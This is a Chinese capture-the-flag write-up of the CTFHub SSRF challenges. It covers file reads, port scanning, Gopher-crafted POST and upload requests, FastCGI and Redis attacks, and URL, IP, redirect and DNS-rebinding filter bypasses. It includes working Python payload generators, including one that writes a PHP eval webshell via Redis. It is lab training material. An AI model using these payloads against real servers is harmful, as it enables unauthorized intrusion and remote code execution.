CTFHUB技能树-SSRF
SSRF
第一部分 Http、Dict和file等协议的利用
内网访问
尝试访问位于127.0.0.1的flag.php吧
看到这样的url下意识想到ssrf,既然是让我们从目标主机内网环境访问其本地的flag.php,那我们就构造:
/?url=http://127.0.0.1/flag.php
如下图所示,成功访问到了目标机本地的flag.php:
伪协议读取文件
尝试去读取一下Web目录下的flag.php吧
这次直接访问页面无法获得flag,结合题目标题,使用file:///
伪协议尝试
/?url=file:///var/www/html/flag.php
执行后,我们在右键查看源代码处发现了flag:
端口扫描
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦。
根据题目提示,需要进行端口扫描。在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。
由于我们知道这是一道SSRF的题目,所以并不是用御剑或者其他网站后台目录扫描工具进行尝试,根据同一技能数下的前2道题目,可以想到这一题是需要扫描127.0.0.1这一内网地址下的端口,所以我们可以尝试使用BURPSUITE来进行爆破尝试
抓包后,发送到Intruder模块,将positions定位到内网地址端口,如图:
然后根据题目题目,从8000-9000进行爆破尝试。
扫描结果:
8607长度更长,查看该请求的回应
说明8607端口开启了Apache服务,尝试从浏览器访问该端口
得到FLAG
第二部分 Gopher协议的使用
POST请求
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
访问?url=http://127.0.0.1/flag.php
发现一个输入框,查看网页源代码,发现一个key字段。
但是现在没有提交按钮,所以需要自己构造POST请求
写一个python脚本,来构造Gopher协议的payload:
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=e01fdff5c126356cb64cf2436f8c7704
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
然后直接作为url的参数提交即可得到flag
上传文件
这次需要上传一个文件到flag.php了.祝你好运
与上一题一样,进入到url=http://127.0.0.1/flag.php页面
发现这次需要文件上传,但是没有submit按钮。所以需要自己在前端写一个
然后随便上传一个文件,用BP装包:
将Host字段改为127.0.0.1后,复制到刚才的脚本中,得到payload,并直接进行访问即可得到flag:
FastCGI协议
这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
于是按照出题人的建议,先学习一下附件:
https://blog.csdn.net/mysteryflower/article/details/94386461
使用gopherus
工具来生成payload
Redis
Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。
这次来攻击redis协议吧,redis://127.0.0.1:6379。资料?没有资料!自己找!
首先要构造redis命令
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
然后需要将其转化为RESP格式
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"c\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload#需要注意的是,如果使用脚本时,与此题一样是GET方法访问,则需要再urllib.quote一次
然后就可以使用payload写入shell了。
然后就是用蚁剑连接拿flag了。
当然,用gopherus也是可以的。
第三部分 ByPass
URL Bypass
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
简单来说,就是http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容。
因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
成功得到flag。
数字Bypass
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
- 转换成16进制
- http://localhost/
- http://0/
都可以绕过
302跳转 Bypass
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
在网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问 http://127.0.0.1.xip.io/flag.php,那么实际上我们访问的是就 http://127.0.0.1/flag.php。
尝试访问:
结合上一题,想到可能127还是被ban了。所以与上一题的解法相结合,得到flag:
DNS重绑定 Bypass
关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
一个可以用的于是域名网站:https://lock.cmpxchg8b.com/rebinder.html
由于DNS解析地址会在两个IP地址之间变化,且变化的很快,所以我们可能需要多次尝试访问才能获得结果。
PS:整个过程很过分得强烈的学习了两位大佬的帖子:
如有任何不妥,请告知我,我会立即删除!